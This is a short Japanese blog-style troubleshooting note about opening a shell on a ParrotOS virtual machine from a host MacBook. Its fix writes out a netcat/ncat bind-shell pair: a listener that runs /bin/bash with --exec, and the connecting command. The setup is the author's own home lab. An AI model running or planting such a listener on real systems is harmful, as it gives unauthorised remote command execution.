問題
ホスト端末のMacから仮想環境(UTM)のOSにncコマンドでシェルを奪おうとしたがうまくいかない。
状況
使用パソコン:Macbook Pro(M3チップ)
仮想端末を提供するアプリ:UTM
仮想端末のOS:ParrotOS(Linux)
想定:ParrotOSをncコマンドで待受状態にしてMacbookからシェルを奪取する
#ParrotOS
nc -lvp <ポート番号> -e /bin/bash
# 上記コマンドでエラーが発生する。
解決方法
通常インストールされるncはeオプションが無いらしいので代わりにncatを使う
# parrotOS側のコマンド
ncat -lvp <ポート番号> --exec /bin/bash
# macOS側のコマンド
nc <IPアドレス> <ポート番号>
# 以降mac側で打ち込んだコマンドがparrotOSで実行され、結果がmac側に表示される。
終わりに
以前、ubunt(ホスト端末)と仮想環境のwindowsやAWSのEC2を使って問題なくncコマンドのeオプションが使用できた経験があったのでncコマンドでeオプションが使えないなんて考えがなく(ターミナルでヘルプを表示しオプションにeがないことは確認していたが、そんなわけないだろと思って無視していた)解決に時間がかかってしまった。思い込みに注意せねば…